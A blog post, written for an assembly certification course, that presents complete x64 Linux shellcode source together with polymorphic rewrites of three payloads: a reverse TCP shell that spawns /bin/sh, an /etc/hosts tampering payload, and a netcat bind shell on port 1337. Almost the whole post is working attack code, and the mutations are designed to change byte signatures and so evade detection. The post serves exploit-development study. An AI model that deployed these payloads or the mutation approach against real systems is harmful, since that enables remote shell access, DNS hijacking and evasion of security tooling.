This blog post shows polymorphic transformation of three Linux Intel x64 shellcodes.
1. Dynamic null-free reverse TCP shell
Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-907.php
Original shellcode with analysis
push byte 41 pop rax ; syscall number 41, int socket(int domain, int type, int protocol) cdq ; zeroing RDX via sign extension push byte 2 pop rdi ; RDI = 2, int domain = PF_INET = 2 push byte 1 pop rsi ; RSI = 1, int type = SOCK_STREAM = 1 syscall ; invoke system call socket(2, 1, 0) xchg eax, edi ; RAX = 2, RDI = fd_num mov al, 42 ; RAX = 42 mov rcx, 0x201017fb3150002 ; struct sockaddr -> sa_family=0x0002, sin_port=0xb315, sin_addr=0x201017f ; neg rcx push rcx push rsp pop rsi ; RSI points to above constructed struct sockaddr mov dl, 16 ; RDX = 0x10(16), socklen_t addrlen syscall ; invoke system call connect(fd_num, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.1.1.2")}, 16) push byte 3 pop rsi ; initialize counter, first is stderr fd (2) dup2_loop: mov al, 33 ; syscall number 33, int dup2(int oldfd, int newfd) dec esi ; next descriptor syscall ; invoke system call dup2(fd_num, [2, 1, 0]) jnz dup2_loop ; repeat if ZF not set cdq ; zeroing RDX via sign extension mov al, 59 ; syscall number 59, int execve(const char *filename, char *const argv[], char *const envp[]) push rdx ; push zero qword mov rcx, 0x68732f2f6e69622f ; "hs//nib/" push rcx ; push pointer to "hs//nib/" push rsp ; push pointer to pointer to "hs//nib/" (pointer to argument pointers array) pop rdi ; set char *const argv[] syscall ; invoke system call execve("/bin/sh", pointer to arguments pointers, 0)
This shellcode establishes reverse tcp connection and spawns /bin/sh via execve() system call. Shellcode length is 65 bytes.
Mutated shellcode
; File: shellcode-907_mutated.nasm ; Author: Petr Javorik global _start section .text _start: ; push byte 41 ; pop rax ; cdq xor rax, rax xor rdi, rdi add al, 41 ; push byte 2 ; pop rdi ; push byte 1 ; pop rsi inc sil mov dil, sil inc dil syscall ; xchg eax, edi xchg rax, rdi ; mov al, 42 add al, 40 ; mov rcx, 0x201017fb3150002 ; neg rcx ; deleted mov rcx, 0x201017fb314fffd add rcx, 5 push rcx ; push rsp ; pop rsi mov rsi, rsp ; mov dl, 16 add dl, 16 syscall ; push byte 3 ; pop rsi mov rsi, rdx sub sil, 13 dup2_loop: mov al, 33 dec esi syscall jnz dup2_loop ; cdq sub dl, 16 mov al, 59 push rdx ; mov rcx, 0x68732f2f6e69622f mov rcx, 0x66722dafbb54622d add rcx, [rsp +8] push rcx ; push rsp ; pop rdi mov rdi, rsp syscall
Mutated shellcode has size of 82 bytes which is 26% more than original shellcode.
2. Add map in /etc/hosts file
Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-896.php
Original shellcode with analysis
; File: shellcode-896.nasm ; Author: Osanda Malith Jayathissa global _start section .text _start: ; open xor rax, rax add rax, 2 ; syscall number 2, int open(const char *pathname, int flags) xor rdi, rdi ; RDI = 0 xor rsi, rsi ; RSI = 0 push rsi ; push zero qword mov r8, 0x2f2f2f2f6374652f ; "////cte/" mov r10, 0x7374736f682f2f2f ; "stsoh///" push r10 push r8 add rdi, rsp ; RDI points to "/etc//////hosts0x00" xor rsi, rsi ; not needed add si, 0x401 ; RSI = 0x401, int flags = O_WRONLY|O_APPEND syscall ; syscall number 2, open("/etc///hosts", O_WRONLY|O_APPEND) ; write xchg rax, rdi ; RDI = fd_num, RAX = pointer to "/etc//////hosts0x00" xor rax, rax add rax, 1 ; syscall number 1, ssize_t write(int fd, const void *buf, size_t count) jmp data ; JMP-CALL-POP write: pop rsi ; RSI = pointer to text variable, const void *buf mov dl, 19 ; length in rdx ; RDX = 19, size_t count syscall ; invoke system call write(fd_num, "127.1.1.1 google.lk", 19) ; close xor rax, rax add rax, 3 ; syscall number 3, int close(int fd) syscall ; invoke system call close(fd_num) ; exit xor rax, rax mov al, 60 xor rdi, rdi ; syscall number 60, void exit(int status) syscall ; invoke system call exit(0) data: call write ; push pointer to text variable into the stack text db '127.1.1.1 google.lk'
The above shellcode appends text to /etc/hosts file. Shellcode length is 110 bytes.
Mutated shellcode
; File: shellcode-896_mutated.nasm ; Author: Petr Javorik global _start section .text _start: ; open xor rax, rax xor rdi, rdi ; add rax, 2 inc al inc al ; xor rdi, rdi ; xor rsi, rsi mov rsi, rdi ; push rsi push rdi push rdi ; mov r8, 0x2f2f2f2f6374652f ; mov r10, 0x7374736f682f2f2f ; push r10 ; push r8 mov dword [rsp +8], 0x7374736f mov dword [rsp +4], 0x682f2f2f mov dword [rsp], 0x6374652f ; add rdi, rsp mov rdi, rsp ; xor rsi, rsi ; instruction deleted ; add si, 0x401 xor si, 0x401 syscall ; write ; xchg rax, rdi ; add rax, 1 mov rdi, rax xor rax, rax inc al jmp data write: pop rsi ; mov dl, 19 add dl, 19 syscall ; close ; xor rax, rax ; add rax, 3 sub al, dl add al, 3 syscall ; exit ; xor rax, rax ; instruction deleted ; mov al, 60 add al, 60 ; xor rdi, rdi sub dil, dil syscall data: call write text db '127.1.1.1 google.lk'
Mutated shellcode has size of 101 bytes which is 8% less than original shellcode.
3. Shellcode linux/x86-64 bind-shell with netcat
Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-822.php
Original shellcode uses traditional netcat which is not available on Ubuntu systems by default. I modified the original shellcode so that it uses nc.traditional instead of nc.
Modified (not mutated yet) shellcode with analysis
; File: shellcode-822_nc_traditional.nasm ; Author: Petr Javorik ; Size: 150 bytes global _start section .text _start: xor rdx, rdx ; RDX = 0, char *const envp[] = NULL push rdx mov rdi, 0x6c616e6f69746964 push rdi ; push 'lanoitid' mov rdi, 0x6172742e636e2f6e push rdi ; push 'art.cn/n' mov rdi, 0x69622f2f2f2f2f2f push rdi ; push 'ib//////' mov rdi, rsp ; RDI points to '//////bin/nc.traditional' mov rcx, 0x68732f6e69622fff ; RCX = 'hs/nib/0xff' shr rcx, 0x08 ; RCX = 'hs/nib/' push rcx mov rcx, rsp ; RCX points to '/bin/sh' mov rbx, 0x652dffffffffffff ; RBX = 'e-0xffffffffffff' shr rbx, 0x30 ; RBX = 'e-' push rbx mov rbx, rsp ; RBX points to '-e' mov r10, 0x37333331ffffffff ; R10 = '73310xffffffff' shr r10, 0x20 ; R10 = '7331' push r10 mov r10, rsp ; R10 points to '1337' mov r9, 0x702dffffffffffff ; R9 = 'p-0xffffffffffff' shr r9, 0x30 ; R9 = 'p-' push r9 mov r9, rsp ; R9 points to '-p' mov r8, 0x6c2dffffffffffff ; R8 = 'l-0xffffffffffff' shr r8, 0x30 ; R8 = 'l-' push r8 mov r8, rsp ; R8 points to '-l' push rdx ;push NULL push rcx ;push address of '/bin/sh' push rbx ;push address of '-e' push r10 ;push address of '1337' push r9 ;push address of '-p' push r8 ;push address of '-l' push rdi ;push address of '/bin/nc.traditional' mov rsi, rsp mov al, 59 syscall
The above shellcode opens bind tcp connection on 0.0.0.0 port 1337 and spawns /bin/sh shell after successful connection. The shellcode size is 150 bytes.
Mutated shellcode
The polymorphic version is complete rewrite of previous shellcode using relative RIP indexing.
; File: shellcode-822_nc_traditional_mutated.nasm ; Author: Petr Javorik ; Size: 112 bytes ; Description: execve nc.traditional with relative RIP indexing global _start section .text _start: jmp real_start data: db '/bin/nc.traditionalA', '-lA', '-pA', '1337A', '-eA', '/bin/shA' real_start: xor rdx, rdx ; char *const envp[] = NULL lea rdi, [rel data -1] ; const char *filename = '/bin/nc.traditional' push rdx ; terminate array of pointers to arguments (char *const argv[]) lea r9, [rdi +34] push r9 ; push pointer to '/bin/shA' mov [rdi +41], dl ; terminate '/bin/shA' with NULL lea r9, [rdi +31] push r9 ; push pointer to '-eA' mov [rdi +33], dl ; terminate '-eA' with NULL lea r9, [rdi +26] push r9 ; push pointer to '1337A' mov [rdi +30], dl ; terminate '1337A' with NULL lea r9, [rdi +23] push r9 ; push pointer to '-pA' mov [rdi +25], dl ; terminate '-pA' with NULL lea r9, [rdi +20] push r9 ; push pointer to '-lA' mov [rdi +22], dl ; terminate '-lA' with NULL push rdi ; push pointer to '/bin/nc.traditionalA' mov [rdi +19], dl ; terminate '/bin/nc.traditionalA' with NULL mov rsi, rsp ; point RSI to created char *const argv[] mov al, 59 ; execve syscall, int execve(const char *filename, char *const argv[], char *const envp[]); syscall
Mutated shellcode has size of 112 bytes which is 25% less than original nc.traditional shellcode.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE64 – 1629